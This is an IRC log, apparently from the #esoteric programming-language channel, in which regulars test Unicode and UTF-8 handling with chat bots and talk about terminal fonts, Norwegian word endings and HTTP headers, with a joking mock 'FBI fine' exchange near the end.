17:07:18 -!- bauen1 has quit (Quit: see ya - bauen1). 17:07:47 -!- bauen1 has joined. 17:10:23 -!- bender has quit (Ping timeout: 250 seconds). 17:24:16 -!- zzo38 has quit (Remote host closed the connection). 17:30:21 -!- Koen__ has joined. 17:32:37 -!- Koen_ has quit (Ping timeout: 244 seconds). 17:50:57 -!- sebbu has quit (Ping timeout: 246 seconds). 17:53:11 -!- Koen__ has quit (Remote host closed the connection). 18:11:16 -!- Koen_ has joined. 18:24:40 -!- GoToSell has quit (Ping timeout: 250 seconds). 18:38:12 \oren\, did you ever look into how that powder toy computer works? 18:39:10 -!- spiette has joined. 18:40:09 -!- bradcomp has joined. 18:53:59 -!- moon___ has joined. 19:12:10 -!- bauen1_ has joined. 19:12:24 -!- bauen1 has quit (Ping timeout: 260 seconds). 19:13:36 -!- bauen1_ has quit (Client Quit). 19:13:43 -!- bauen1 has joined. 19:20:23 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 19:21:36 -!- moon___ has quit (Ping timeout: 272 seconds). 19:32:13 <\oren\> Phantom_Hoover: What poweder toy computer? 19:32:32 uh, was it not you who was interested in that 19:32:37 fuck i've forgotten 19:32:39 <\oren\> someone made a computer in a sand game? 19:33:15 <\oren\> doesn't sound hard 19:35:28 no, and having read up on it i just found out that the game in question added this weird undocumented system that turns an existing element into free, instantaneous 30-bit logical operations 19:45:02 <\oren\> alias anno nano 19:45:12 <\oren\> alias nnao nano 19:45:50 `? nano 19:46:35 `? pico 19:47:39 oh come on 19:47:53 fungot: help? 19:47:53 int-e: no fancy quit message? :) 19:48:03 hmpf. 19:48:07 nano is vi's sister. 19:48:07 pico? ¯\(°​_o)/¯ 19:48:25 `learn pico is the useless twin of nano. 19:48:30 Learned 'pico': pico is the useless twin of nano. 19:48:56 (opinionated version: `learn pico is the even more useless twin of nano.) 19:49:28 -!- sebbu has joined. 20:05:42 -!- adu has quit (Quit: adu). 20:10:56 <\oren\> `alias maek make 20:11:20 <\oren\> `? aleas 20:11:23 <\oren\> `? alias 20:11:32 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: alias: not found 20:11:40 <\oren\> omg hackego already unloaded 20:12:02 aleas? ¯\(°​_o)/¯ 20:12:02 alias? ¯\(°​_o)/¯ 20:12:43 <\oren\> `? make 20:12:46 make? ¯\(°​_o)/¯ 20:14:53 <\oren\> stupid gnu screen doesn't support astral characters 20:15:03 <\oren\> only the basic plane 20:21:30 `' 20:21:33 945) * ais523 challenges the americans here to remember who lost in the most recent UK general election ais523, the lib dems 20:22:19 `mkx bin/"//quote; quote 20:22:24 bin/" 20:22:37 Huh. 20:22:54 I was sure screen was still entirely restricted to the BMP, but it seems to somewhat work. 20:23:13 fizzie: Hmm, really? 20:23:21 Maybe I should try screen again. 20:23:25 -!- Vorpal has joined. 20:23:34 Well, I put U+2F85E in a file, and cat it out, and it shows up both inside and outside screen. 20:23:37 That's all I know. 20:24:24 (Though of the terminals I happen to have installed, it only appears to work in stterm; it doesn't render in rxvt-unicode or lxterm.) 20:28:03 -!- spiette has quit (Ping timeout: 264 seconds). 20:28:45 -!- spiette has joined. 20:30:22 As far as I can tell, it doesn't work in "screen 4.01.00devel (GNU) 2-May-06" but it does work in "screen 4.02.01 (GNU) 28-Apr-14" and "screen 4.03.01 (GNU) 28-Jun-15". 20:30:32 Though the screen ChangeLog doesn't mention anything that sounds relevant. 20:31:07 fizzie, what is U+2F85E 20:32:07 Just a random non-BMP character (CJK COMPATIBILITY IDEOGRAPH-2F85E) from one of the many "astral characters don't work in screen" bugreports that I apparently have a font for. 20:32:19 Ah 20:32:41 I need to get an SSD for my desktop. It feel soooo slow now, even with fast RAIDed spinning disks. Now that I'm used to SSDs in every other computer 20:33:35 Especially the work laptop. Two large and fast SSDs in that one. Also a beast computer in other aspects too 20:34:44 `welcome Vorpal 20:34:48 Vorpal: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 20:35:02 just get enough RAM that you can put everything in RAM 20:37:21 shachaf, yeah I guess I need a new mobo then, this only goes up to 32 GB RAM support. And I have 16 GB in it currently 20:37:39 More realistically I need a new GPU... But waiting for the upcoming generation for that 20:49:20 -!- Vorpal has quit (Quit: ZNC - http://znc.sourceforge.net). 21:00:58 `len 𐀀 21:01:04 1 codepoint \ 2 Java characters \ 4 UTF-8 bytes 21:04:53 `len ế 21:04:54 1 codepoint \ 3 UTF-8 bytes 21:06:20 `len Q̣̀ 21:06:22 1 grapheme \ 3 codepoints \ 5 UTF-8 bytes 21:07:34 `len x 21:07:36 1 codepoint 21:11:36 `len 𝅘𝅧𝅥 21:11:37 1 grapheme \ 2 codepoints \ 4 Java characters \ 8 UTF-8 bytes 21:11:43 Yay, four different numbers. 21:13:07 `` printf '\xFF' | len 21:13:09 0 codepoints 21:13:19 `` env printf '\xFF' | len 21:13:22 0 codepoints 21:13:25 Hm... 21:13:39 Oh, right. 21:13:45 `` len $'\xFF' 21:13:47 1 byte (UTF-8 not valid) 21:14:27 -!- jaboja has joined. 21:14:38 `` len $'\U110000' 21:14:39 4 bytes (UTF-8 not valid) 21:14:45 `` len $'\U10FFFF' 21:14:47 4 bytes (UTF-8 not valid) 21:14:58 `` len $'\U1FFFF' 21:15:01 4 bytes (UTF-8 not valid) 21:15:06 Okay... 21:15:13 `` len $'\U10000' 21:15:14 `? xfix 21:15:15 1 codepoint \ 2 Java characters \ 4 UTF-8 bytes 21:15:18 xfix? ¯\(°​_o)/¯ 21:16:03 `` unidecode $'\U1FFFF' 21:16:08 U+1FFFF - No such unicode character name in database \ UTF-8: f0 9f bf bf UTF-16BE: d83fdfff Decimal: 🿿 \ 🿿 (🿿) \ Uppercase: U+1FFFF \ Category: Cn (Other, Not Assigned) 21:16:30 Hm. "UTF-8 not valid" sounds like a strange error in that case. 21:16:58 len program expects characters to be part of Unicode, apparently. 21:17:12 > hex # ord maxBound 21:17:14 "10ffff" 21:17:21 `` len $'\uE000' 21:17:23 1 codepoint \ 3 UTF-8 bytes 21:17:31 U+E000 is a non-character too... 21:17:36 ``unicode $'\uE000' 21:17:42 `` unicodecode $'\uE000' 21:17:45 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `unicode: not found 21:17:51 ​/hackenv/bin/`: line 4: unicodecode: command not found 21:17:56 `` unidecode $'\uE000' 21:18:01 U+E000 \ UTF-8: ee 80 80 UTF-16BE: e000 Decimal:  \  \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right) 21:18:21 Oh wait, no. 21:18:36 There are 66 non-characters in Unicode. 21:18:42 `` unidecode $'\uf000' 21:18:45 U+F000 - No such unicode character name in database \ UTF-8: ef 80 80 UTF-16BE: f000 Decimal:  \  () \ Uppercase: U+F000 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right) 21:18:49 `` len $'\uf000' 21:18:52 1 codepoint \ 3 UTF-8 bytes 21:19:19 U+FDD0..U+FDEF, U+FFFE, U+FFFF, and the last two code points of each of the 16 supplementary planes. 21:19:58 (Those two are different for unidecode, because the first and last private-use characters actually have an entry in UnicodeData, while the rest don't.) 21:20:22 `` unidecode $'\uFFFE' 21:20:27 U+FFFE - No such unicode character name in database \ UTF-8: ef bf be UTF-16BE: fffe Decimal: ￾ \ ￾ (￾) \ Uppercase: U+FFFE \ Category: Cn (Other, Not Assigned) 21:20:28 `` unidecode $'\uFFFF' 21:20:31 U+FFFF - No such unicode character name in database \ UTF-8: ef bf bf UTF-16BE: ffff Decimal: ￿ \ ￿ (￿) \ Uppercase: U+FFFF \ Category: Cn (Other, Not Assigned) 21:20:38 `` len $'\uFFFF' 21:20:39 3 bytes (UTF-8 not valid) 21:20:54 len rejects non-characters, apparently. It's somewhat strict. 21:21:10 `` len $'\uFEFF' 21:21:12 1 codepoint \ 3 UTF-8 bytes 21:21:15 `` unidecode $'\uFEFF' 21:21:16 That's reasonable, but calling it "UTF-8 not valid" is a little bit iffy. 21:21:17 ​[U+FEFF ZERO WIDTH NO-BREAK SPACE] 21:21:48 (Since it doesn't differentiate from byte sequences that don't even UTF-8.) 21:22:15 -!- adu has joined. 21:23:07 Hm, I guess I could check the error. 21:26:16 `` len $'\uD800' 21:26:17 3 bytes (UTF-8 not valid) 21:26:22 `` unidecode $'\uD800' 21:26:28 U+D800 \ UTF-8: ed a0 80 UTF-16BE: d800 Decimal: � \ � \ Category: Cs (Other, Surrogate) \ Bidi: L (Left-to-Right) 21:26:54 U+D800 is actually not valid, though. 21:27:27 -!- MoALTz has quit (Quit: Leaving). 21:27:49 So the possible errors are: not UTF-8, surrogate characters in UTF-8, using non-characters, using characters above U+10FFFF, anything else? 21:28:24 What errors? 21:28:34 UTF-8 parsing errors 21:28:53 What counts as UTF-8 here? 21:29:03 Any stream of bytes. 21:29:13 Then how can a stream of bytes be "not UTF-8"? 21:29:39 Because it violates UTF-8 standard. 21:29:56 Then I think that error covers everything. 21:30:47 I guess if I want to split things, I could specify the following. 21:31:09 Tip, surrogate characters in UTF-8, are not UTF-8. 21:31:46 Using invalid UTF-8 bytes, using continuation byte when one wasn't expected, start byte not followed by enough continuation bytes, overlong encoding, characters above U+10FFFF. 21:32:34 `` len $'\x80\xAE' 21:32:38 2 bytes (UTF-8 not valid) 21:32:44 `` unidecode $'\x80\xAE' 21:32:46 Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err 21:33:01 Nice. 21:33:15 `` unidecode $'\x80\xAE' | paste 21:33:25 whoa whoa whoa 21:33:25 Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err 21:33:27 paste is overkill 21:33:39 `1 unidecode $'\x80xAE' 21:33:44 Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err 21:33:50 Hm. 21:33:53 `` unidecode $'\x80\xAE' |& paste 21:34:05 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.20889 21:34:05 `cat bin/1 21:34:08 ​\` "$@" | sport 21:34:48 `sled bin/1//s#\|#|\&# 21:34:51 bin/1//|&\` "$@" | sport 21:34:55 `1 unidecode $'\x80xAE' 21:34:56 ​/hackenv/bin/1: line 1: syntax error near unexpected token `|&' \ /hackenv/bin/1: line 1: `|&\` "$@" | sport' 21:35:07 oops 21:35:27 <\oren\> Why not just use permissive-utf8 21:35:46 <\oren\> (i forgot what it's actually called) 21:35:59 `revert 21:36:14 `` unidecode $'\xF0\x82\x82\xAC' | paste 21:36:19 `` unidecode $'\xF0\x82\x82\xAC' |& paste 21:36:22 Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err 21:36:24 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 21:36:31 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.518 21:36:47 Okay. 21:36:49 <\oren\> it's the version of utf-8 where invalid bytes get interpreted as code page 1252 21:36:49 What happened with that sled? 21:36:53 `` len $'\xF0\x82\x82\xAC' 21:36:55 4 bytes (UTF-8 not valid) 21:37:29 Oh. 21:37:50 That's what I get for testing with BSD sed. 21:38:08 `sled bin/1//s#|#|\&# 21:38:12 bin/1//|&&\` "$@" | sport 21:38:31 oops, that revert reverted the wrong thing 21:38:59 `mkx bin/1//\` "$@" |& sport 21:39:05 bin/1 21:39:10 `1 unidecode $'\x80\xAE' 21:39:12 1/2:Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf 21:39:16 `spam 21:39:18 2/2:_8_decode(input, errors, True) \ UnicodeDecodeError: 'utf8' codec can't decode byte 0x80 in position 0: invalid start byte \ 21:43:01 \oren\: I've seen a few different names for it. 21:46:11 -!- LexiciScriptor has joined. 22:04:03 -!- jaboja has quit (Ping timeout: 264 seconds). 22:06:27 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:07:57 -!- `^_^v has joined. 22:09:41 `unidecode ⌘ 22:09:41 ​[U+2318 PLACE OF INTEREST SIGN] 22:13:10 <\oren\> also it's the symbol on the command key on stupid apple computers 22:13:23 `wisdom 22:13:26 whom//See: who 22:13:33 `? who 22:13:34 Who cares about ancient cases anyway? 22:13:45 <\oren\> `? whom 22:13:46 See: who 22:13:54 <\oren\> ah 22:14:09 <\oren\> `? thou 22:14:10 thou? ¯\(°​_o)/¯ 22:14:17 <\oren\> `? me 22:14:19 Me is a proud member of the tEaM. 22:14:30 <\oren\> the meat? 22:14:52 <\oren\> @anagrams meat 22:14:52 Unknown command, try @list 22:14:57 <\oren\> `anagrams meat 22:14:58 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: anagrams: not found 22:15:27 `wisdom 22:15:27 `wisdom 22:15:28 `wisdom 22:15:28 `wisdom 22:15:29 `wisdom 22:15:36 does your font have ⌘ ? 22:15:47 <\oren\> of course! 22:16:09 <\oren\> My coverage of techincal symbols is pretty complete 22:16:11 adventure//You're in a 20 foot by 20 foot stone room. A stout oaken door banded with iron affords the only visible egress. As you approach the door, an imp appears. "Hello, INSERT NAME. To pass, you must solve my puzzle. SEE HANDOUT 1 ON PAGE 17." 22:16:32 frenemy//Frenemy is the relationship between Kirby and king Dee Dee. 22:16:32 but most importantly do you have the multiocular o? 22:16:33 ist//An ist is an incomplete list. 22:16:35 the u//The U are a very mad people. 22:16:36 ruby//Ruby is a programming language from Japan, that eventually decided to support non-ascii characters. 22:16:40 <\oren\> izabera: yep! 22:16:45 well done 22:17:13 what about ⸘ 22:17:20 and ‽ 22:17:46 <\oren\> you can test by searching http://www.orenwatson.be/allchars.htm 22:17:59 i just found out that compose + ? + ! gives ⸘ and compose + ! + ? gives ‽ 22:18:07 <\oren\> i don't have ⸘?! weird 22:18:42 your ⸘ is mirrored 22:19:03 yours leans to the right 22:19:24 <\oren\> I'll fix that in the next version 22:19:49 so i just found a bug in your font? 22:20:38 and i fixed two bugs in bash? and one in zsh even if someone said it wasn't a bug? and i fixed the s3 authentication @ work? 22:20:40 what a day 22:21:06 <\oren\> yup. That's a bug. 22:21:54 <\oren\> I wonder if anyone has a ⸎ in their keyboard 22:22:15 `unidecode ⸎ 22:22:18 ​[U+2E0E EDITORIAL CORONIS] 22:22:30 <\oren\> or if any other font decided to draw it in the ancient bird form 22:32:00 -!- hppavilion[2] has joined. 22:33:58 <\oren\> `u8tbl 0x1f923 0x1f924 22:34:00 ​🤣🤤 22:34:27 <\oren\> boo 22:37:12 <\oren\> stupid old version of screen 23:02:36 -!- adu has quit (Ping timeout: 244 seconds). 23:09:30 Wow. https://www.indiegogo.com/projects/polynomial-trading-cards#/ 23:11:21 -!- `^_^v has quit (Quit: This computer has gone to sleep). 23:11:29 `cat bin/8-ball 23:11:31 ​#!/bin/sh \ shuf -n 1 share/8ballreplies 23:11:35 -!- `^_^v has joined. 23:11:59 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:15:26 `url share/8ballreplies 23:15:28 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/8ballreplies 23:16:54 -!- `^_^v has quit (Quit: This computer has gone to sleep). 23:17:07 -!- `^_^v has joined. 23:17:19 -!- boily has joined. 23:17:28 ahoily 23:19:45 hppavellon[2]! 23:20:06 -!- `^_^v has quit (Client Quit). 23:20:55 -!- hppavilion[2] has changed nick to hppavilion[1]. 23:23:10 `culprits data/8ballreplies 23:23:18 fizzie fizzie 23:23:19 <\oren\> ah the joys of bug reports consisting of a screenshot and "why?" 23:23:22 I don't remember doing that. 23:24:32 Oh, I just mangled it around. 23:25:06 `culprits 8ballreplies 23:25:10 fizzie b_jonas 23:25:11 The real culprit. 23:25:43 b_jonas is the root of all things. 23:26:18 I thought it was the cultivation of the person. 23:26:44 * boily mapoles fizzie. 0.99 shachafs. 23:33:39 -!- boily has quit (Read error: Connection reset by peer). 23:33:44 -!- boily_ has joined. 23:35:30 -!- Koen_ has joined. 23:37:00 -!- boily_ has changed nick to boily. 23:37:59 -!- bradcomp has quit (Quit: Page closed). 23:47:21 -!- LexiciScriptor has quit (Quit: LexiciScriptor). 23:54:13 -!- LexiciScriptor has joined. 23:54:23 -!- LexiciScriptor has quit (Client Quit). 2016-06-23: 00:00:02 Wow. I can feel the bullshit oozing out of http://www.biscmi.org/wp-content/uploads/2015/05/Miller2001.pdf 00:00:58 "This woman broke laws [the examples given are attempted murder and arson], but their husbands had been beating them so we should completely ignore the offense- even if arresting them would be in the interest of public safety" 00:02:04 When a crime has been committed, determining if it was reasonable is to be deferred to the court- police are not supposed to judge morality in situations where a law has been obviously broken 00:02:34 -!- oerjan has joined. 00:04:42 hellørjan 00:08:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 00:11:09 helloily 00:17:18 helloily 00:17:32 quinthellopia. 00:17:37 whatever else nonsense hagb4rd says, he _is_ right that i check out many newcomers to see if they're him. 00:18:13 perhaps a bit too much. i don't think Etaoin was very likely, anyway. 00:48:06 maybe hagb4rd knows that because he is one of the OLDcomers who has ALWAYS used a different name 00:51:39 -!- myndzi\ has joined. 00:57:57 -!- Froox has joined. 01:00:12 maybe *I* am hagb4rd! 01:00:16 * boily shudders at the thought 01:00:31 fiendish 01:01:05 -!- Frooxius has quit (Ping timeout: 244 seconds). 01:02:38 -!- augur has joined. 01:03:07 boily: your secret is safe with no one! 01:03:14 (like most secrets) 01:03:31 did you ever see that thing: http://www.bouldertherapist.com/html/humor/MentalHealthHumor/panexa/panexa.html 01:04:36 oh...wait...oerjan is hagb4rd! sneaky. 01:16:04 i wonder where boily and oerjan went 01:16:24 :t hex 01:16:25 (Integral a, Applicative f, Choice p) => p a (f a) -> p String (f String) 01:16:33 :t (#) 01:16:34 parse error on input ‘)’ 01:16:49 :t (# ) 01:16:50 parse error on input ‘)’ 01:16:53 :t ( # ) 01:16:54 AReview t b -> b -> t 01:24:22 <\oren\> colombia 0-2 chile 01:24:28 -!- xkapastel has joined. 01:24:38 oh 01:24:45 quintopia: requinthellopia! I was on the phone with various persons of familial interest. 01:24:51 `relcome xkapastel 01:24:55 ​xkapastel: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:25:14 HackEgo celebrating pride week, i see 01:26:36 you remember back when that whole "official channels get # and unofficial channels get ##" thing was discussed endlessly here? yeah, that would have been a great time to move to #esolang...then there would be no reason for that parenthetical. 01:27:01 anyway, if you don't like rainbows xkapastel 01:27:12 `welcome xkapastel 01:27:14 xkapastel: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:27:46 <\oren\> are you watchong the copa america 01:28:29 i am watching this channel and one other 01:29:42 `WeLcOmE xkapastel 01:29:45 XkApAsTeL: wElCoMe tO ThE InTeRnAtIoNaL HuB FoR EsOtErIc pRoGrAmMiNg lAnGuAgE DeSiGn aNd dEpLoYmEnT! fOr mOrE InFoRmAtIoN, cHeCk oUt oUr wIkI: . (FoR ThE OtHeR KiNd oF EsOtErIcA, tRy #EsOtErIc oN EfNeT Or dAlNeT.) 01:32:15 re PANEXA: I think I'm not a squirrel, so I should be fine. 01:36:36 have you ever seen a pregnant woman? there are side effects for those who are aware of the concept of pregnancy 01:37:21 solipsism precludes having seen pregnant women hth 01:38:20 it also precludes my existence. do you imagine you (as me) will send you (as you) a package containing something you experience as beer? 01:38:55 i'm trying to figure out what to label it on the customs form 01:39:04 you think they'll let "soda" pass? 01:39:25 it's carbonated, it's in a bottle, therefore it's a duck. 01:39:57 s/bottle/container/ 01:40:19 i don't think the type of container is essential to duckitude 01:40:45 (shipping animals internationally is definitely not allowed though) 01:41:17 shipping animal products either... 01:41:41 one day, one day I'll be able to enjoy strömming... 01:43:17 shipping liquids is surely okay though? 01:43:27 i've done it before, but i'm not sure whether i was open about it 01:47:37 -!- hppavilion[1] has joined. 01:49:44 i guess shipping liquid is okay. 01:50:04 time to leave 01:53:46 bon shippintopia! 01:54:42 -!- Guest12690 has quit (Ping timeout: 250 seconds). 01:55:29 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 01:59:39 -!- IRIXUser has joined. 02:00:02 -!- IRIXUser has changed nick to Guest51928. 02:04:54 https://en.wikipedia.org/wiki/Fictional_planets_of_the_Solar_System#Trans-Neptunian_planets should list "Pluto" 02:06:20 TIL: Gordon Freeman is named for Freeman Dyson 02:09:37 hppavilion[1]: Pluto is a real body though 02:09:56 FreeFull: Yes, but it isn't actually a planet 02:10:14 It was classified as a planet before, now it's classified as a dwarf planet 02:10:25 Just because its classification changed doens't make it fictional 02:11:20 FreeFull: Yes, but it would be fictional to refer to it as a planet 02:15:41 -!- Cale has quit (Read error: Connection reset by peer). 02:16:42 -!- Cale has joined. 02:16:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 02:18:57 -!- bender__ has joined. 02:19:02 boily: digital dentistry? you must have thing fingers hth 02:21:04 . o O ( boily is edward scissorhands ) 02:23:22 thin 02:25:20 wait, how have i not noticed that intensional and intentional are different words 02:25:40 ...i suppose they would be identical in norwegian 02:25:50 wait until you hear about extentional hth 02:28:30 -!- Cale has quit (Ping timeout: 250 seconds). 02:30:20 -!- Cale has joined. 02:30:50 (assuming you don't know, norwegian tends to convert all the latin suffixes -{s,t,ss}ion into -sjon 02:30:53 ) 02:31:36 oerjan: is that conversion intenssional? 02:31:54 MAYBE 02:32:48 i don't think you can have -ssion except after a vowel, anyway, hth 02:33:09 oh and -xion -> -ksjon 02:33:50 `` grep '[^aeiou]ssion' share/dict-words 02:33:52 No output. 02:34:03 `? oerjan 02:34:05 Your mysterious articled cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 02:34:31 `slwd oerjan//s#ssion#sjon# 02:34:37 wisdom/oerjan//Your mysterious articled cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 02:35:07 that's indeed a norwegian word. 02:35:41 i think it's rarely used in that context though. 02:37:22 `` grep '[aeiou]ssion' share/dict-words 02:37:25 Passion \ Passion's \ Passions \ accession \ accession's \ accessioned \ accessioning \ accessions \ admission \ admission's \ admissions \ aggression \ aggression's \ cession \ cession's \ cessions \ commission \ commission's \ commissioned \ commissioner \ commissioner's \ commissioners \ commissioning \ commissions \ compassion \ compassion's \ 02:37:31 `slwd oerjan//s#rd#rd commisjoner# 02:37:33 wisdom/oerjan//Your mysterious articled cackling zombie overlord commisjoner emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 02:37:41 by his own addmisjon 02:37:44 hate something with a passion ~ hate noe intenst, i think. 02:38:10 presumably "noe" is "noel" spelled with no el 02:38:45 commissioner = kommisjonær hth 02:38:54 shachaf: well... 02:39:01 `slwd oerjan//s#commisjoner#kommisjonær# 02:39:05 wisdom/oerjan//Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 02:39:06 or the norwegian word for something 02:39:19 for what, though 02:39:24 i thought you new norwegian 02:39:28 knew 02:39:31 scow 02:39:37 you win this one 02:41:33 or possibly "kommisær". "There is some confusion between commissioners and commissaries, because other European languages use the same word for both." 02:41:56 wait, *kommissær 02:43:39 ...what kind of shit wiki setup is norwegian wikipedia using, even search box suggestions don't work. 02:46:00 * oerjan isn't entirely clear on what "commissioner" means, anyhow. 02:50:27 a commissary is someone in charge of materiel, iirc 02:50:38 whereas a commissioner is someone with a commission 02:50:51 -!- iaglium has quit (Quit: Bed Time). 03:09:42 -!- boily has quit (Quit: TRANSVERSE CHICKEN). 03:20:33 -!- spiette has quit (Ping timeout: 240 seconds). 03:24:22 <\oren\> oerjan: I think of http://warhammer40k.wikia.com/wiki/Commissar 03:26:57 -!- augur has quit (Remote host closed the connection). 03:29:15 -!- myndzi\ has quit (Ping timeout: 276 seconds). 03:37:32 hm i think long open reddit tabs leak my cpu... 03:38:39 <\oren\> remeber to pkill -9 chrome regularly 03:40:10 >_> 03:40:35 * oerjan refuses to believe \oren\ hasn't noticed my mentions of using IE. 03:40:36 -!- Frooxius has joined. 03:40:48 also, it was enough to force reload the tab. 03:42:04 * oerjan supposes he may have suppressed the knowledge. 03:43:03 -!- Froox has quit (Ping timeout: 264 seconds). 04:15:48 -!- Froox has joined. 04:19:03 -!- Frooxius has quit (Ping timeout: 264 seconds). 04:24:54 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 04:50:33 -!- hppavilion[1] has joined. 04:56:22 -!- oerjan has quit (Quit: Nite). 05:00:58 -!- Etaoin has joined. 05:07:18 -!- Etaoin has quit (Ping timeout: 250 seconds). 05:20:40 -!- augur has joined. 05:25:11 -!- augur has quit (Ping timeout: 240 seconds). 05:34:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 06:07:49 -!- Kaynato has quit (Ping timeout: 244 seconds). 06:09:29 -!- lambda-11235 has joined. 06:26:52 -!- bender__ has changed nick to bender. 06:31:48 -!- Froox has quit (Quit: *bubbles away*). 06:32:10 -!- Frooxius has joined. 06:32:49 -!- augur has joined. 07:15:06 how do http servers know when a client finished sending its headers? 07:16:36 -!- augur has quit (Read error: Connection reset by peer). 07:18:28 Clients terminate the list of headers with "\r\n\r\n". 07:18:52 (i.e. a blank line after the headers) 07:18:59 Content in the request, if any, follows. 07:19:46 thanks 07:20:38 -!- augur has joined. 07:23:59 -!- augur has quit (Excess Flood). 07:25:16 -!- augur has joined. 07:26:55 -!- hppavilion[1] has joined. 07:27:23 There are Flat Earthers and Round Earthers 07:27:33 I, for one, am a Klein Earther 07:28:56 -!- copumpkin has quit (Ping timeout: 244 seconds). 07:50:55 -!- augur has quit (Read error: Connection reset by peer). 07:51:04 -!- augur has joined. 07:54:29 -!- augur_ has joined. 07:57:50 -!- augur has quit (Ping timeout: 250 seconds). 07:59:21 If astronomers made a tool for observing the sky at all angles without a large lense, what would it be called? 08:05:12 -!- Destructible has joined. 08:05:23 hi 08:08:02 -!- sebbu has quit (Quit: reboot). 08:15:58 hello? 08:17:54 -!- augur_ has quit (Remote host closed the connection). 08:21:01 -!- Destructible has quit (Quit: Page closed). 08:31:54 -!- J_Arcane has quit (Ping timeout: 246 seconds). 08:42:29 -!- augur has joined. 08:44:20 <^v> hppavilion[1], multiple cameras? 08:44:42 ^v: *sigh* no 08:44:46 The 360 Noscope 08:44:55 <^v> a 180 degree lens? 08:44:58 <^v> not impossible 08:45:12 <^v> and doesnt necessarily have to be big 08:45:51 <^v> https://www.amazon.com/180degree-Fisheye-1080p-Angle-Camera/dp/B00LQ854AG 08:46:15 <^v> this can literally look at the sky at all angles and its tiny 08:46:49 ^v: 360 decrees 08:46:56 <^v> uhh no? 08:47:03 <^v> you would be looking at the ground and the sky 08:48:25 <^v> a 180 degree lens captures a single hemisphere, else you would be looking for a sphere camera which would require some pretty high tech optics if your requirement is not to use multiple cameras 08:49:16 ^v: Yeah 08:49:40 ^v: No rule against multiple cameras 08:49:46 <^v> <^v> hppavilion[1], multiple cameras? 08:49:46 <^v> ^v: *sigh* no 08:49:53 <^v> confused 08:49:56 ^v: Yeah, I misinterpreted that 08:50:10 ^v: I thought you were answering that as the name 08:50:22 <^v> i was kinda 08:50:35 <^v> i forgot this was #esoteric 08:50:42 <^v> why not "phisheye" 08:51:01 <^v> phish because the question is a trap 08:54:10 -!- augur has quit (Ping timeout: 250 seconds). 08:54:50 ^v: Your reference to phishing puts you on the FBI watchlist; we'll need to collect a fine 08:57:07 ^v: Please send USD$5,200 to BTC:1JrY2sCDAQuRPdqshZFxfiuQ32Uexmc6so 08:57:48 <^v> k 08:58:53 -!- sebbu has joined. 08:59:40 -!- Destructible has joined. 08:59:43 hi 08:59:59 <^v> Destructible, hello 09:00:42 I had an idea for an esoteric language 